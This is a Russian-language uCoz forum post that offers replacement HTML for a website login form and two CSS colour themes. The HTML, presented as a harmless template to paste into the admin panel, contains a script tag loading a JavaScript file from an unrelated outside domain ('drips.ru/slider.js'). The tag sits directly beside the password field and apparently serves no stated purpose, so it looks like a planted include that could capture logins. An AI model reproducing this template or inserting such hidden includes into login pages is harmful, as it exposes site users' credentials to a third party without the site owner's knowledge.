[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: FeRz1k  
Форум » Вэбмастерам » Скрипты для uCoz » Форма входа под Ucoz (2 вида)
Форма входа под Ucoz
BotsManДата: Понедельник, 19.03.2012, 16:25 | Сообщение # 1
Звание: Рядовой
Постов на форуме: 31
Репутация:
[ 3 ]
Подарки:
[ 1 ]
Не в сети
И так для начало нам следует зайти в админ панель вашего сайта в системе uCoz:

Дизайн => Управление дизайном =>Пользователи => Форма входа пользователей

и заменить стандартный html код формы входа для uCoz., на следующий код:

Code
<div id="cell_vxod">    
    <div class="cell_pola_vxod"><div class="vxod_name">Логин:</div><input class="login_pole" type="text" name="user" value="" size="20" maxlength="50"/></div>    
    <div class="cell_pola_vxod"><div class="vxod_name">Пароль:</div><script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="login_pole" type="password" name="password" size="20" maxlength="15"/></div>    
    <div id="vxod_reg">
    <a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a>
    <span class="right"><input class="south" title="Сохранить пароль при входе"id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$"></label></span>
    </div>
    <div id="cell_knopkav"><input class="knopka_vxoda" name="sbm" type="submit" value="Вход"/></div>
</div>


Шаг 2, установим CSS:

Теперь нам осталось выбрать один из двух вариантов css стилей для нашей формы входа для uCoz.

Вариант № 1 White (Белый):



CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
    float:left;
    width:270px;    
}

#cell_vxod a:link,    
#cell_vxod a:visited {text-decoration:none; color:#5a79b8;}
#cell_vxod a:hover {text-decoration:none; color:#5cb85a;}

#vxod_reg {
    float:left;
    font:10px Verdana,Arial,Helvetica, sans-serif;
    color:#BABABA;
    font-weight: bold;
    width:212px;
    padding: 5px 5px 0px 0px;
}

#cell_knopkav {
    float:left;
    width:53px;
}

.cell_pola_vxod {
    float:left;
    margin-bottom: 10px;
}

.vxod_name {
    width:55px; text-shadow: 1px 1px 1px #fff;
    background:#d6d6d6;
    border-right: none;
    border-left: 1px solid #d6d6d6;    
    padding: 5px 0px 5px 5px;    
}

.login_pole {
    width:193px;    
    border-left: none;    
    border-right: 1px solid #d6d6d6;
    padding: 5px 5px 5px 10px;    
    vertical-align:middle;
}

.login_pole,    
.vxod_name {
    float:left;
    font:11px Verdana,Arial,Helvetica, sans-serif;
    color:#555;
    border-top: 1px solid #d6d6d6;
    border-bottom: 1px solid #d6d6d6;
    margin:0px;
}

.login_pole {background: #f6f6f6 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}
.login_pole:focus {background: #fff url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}

.knopka_vxoda {
    color:#555; text-shadow: 1px 1px 1px #fff;
    padding: 3px 0px;    
    width:53px;
    background: #f6f6f6;
    border:1px solid #d6d6d6;
    margin:0px;    
}

.knopka_vxoda:hover {
    background: #d6d6d6;
}
/* -------------------------------------- */


Вариант № 2 Black (Чёрный):



CSS-Code

Code
/* Форма входа
------------------------------------------*/
#cell_vxod {
    float:left;
    width:270px;    
}

#cell_vxod a:link,    
#cell_vxod a:visited {text-decoration:none; color:#69A4BD;}
#cell_vxod a:hover {text-decoration:none; color:#5CB703;}

#vxod_reg {
    float:left;
    font:10px Verdana,Arial,Helvetica, sans-serif;
    color:#BABABA;
    font-weight: bold;
    width:212px;
    padding: 5px 5px 0px 0px;
}

#cell_knopkav {
    float:left;
    width:53px;
}

.cell_pola_vxod {
    float:left;
    margin-bottom: 10px;
}

.vxod_name {
    width:55px;text-shadow: 1px 1px 1px #8A8A8A;
    background:#656565;
    border-right: none;
    border-left: 1px solid #232323;    
    padding: 5px 0px 5px 5px;    
}

.login_pole {
    width:193px;    
    border-left: none;    
    border-right: 1px solid #232323;
    padding: 5px 5px 5px 10px;    
    vertical-align:middle;
}

.login_pole,    
.vxod_name {
    float:left;
    font:11px Verdana,Arial,Helvetica, sans-serif;
    color:#111;
    border-top: 1px solid #232323;
    border-bottom: 1px solid #878787;
    margin:0px;
}

.login_pole {background: #767676 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}
.login_pole:focus {background: #808080 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}

.knopka_vxoda {
    color:#111;    
    padding: 3px 0px;    
    width:53px;
    background: #8a8a8a;
    border:1px solid #232323;
    margin:0px;    
}

.knopka_vxoda:hover {
    background: #656565;
}
/* -------------------------------------- */


Алексей
 
Форум » Вэбмастерам » Скрипты для uCoz » Форма входа под Ucoz (2 вида)
  • Страница 1 из 1
  • 1
Поиск:
Статистика сайта
Последние новости Самые отвечаемые темы Последние статьи
EA раскрыла подробно... 18.04.2013
Bethesda прекращает ... 18.04.2013
Создатели World of T... 18.04.2013
Battlefield 4 не буд... 18.04.2013
Авторы Silent Hill: ... 18.04.2013
Курилка! 103
Общая тема для обсуждений 67
Изготовление аваторов 50
Новости сервера 37
Команда сайта 36
История Starcraft: Н... 10.02.2013
Почему в Valve решил... 20.08.2012
Танки рвутся в кибер... 15.08.2012
Лучшие финалы в исто... 17.06.2012
Киберспорт - спорт? ... 14.04.2012
Новые пользователи Активные пользователи Лучшие комментаторы
voodyy28 01.09.2017
qteras23 25.08.2017
156464 25.08.2017
Sergeeff 23.08.2017
Areon 20.08.2017
Phoenix 1449
FeRz1k 319
WedMacK 200
warcraf 200
Rolex 157
Phoenix 56
FeRz1k 56
koJIxo3Huk 19
Die 13
scool 9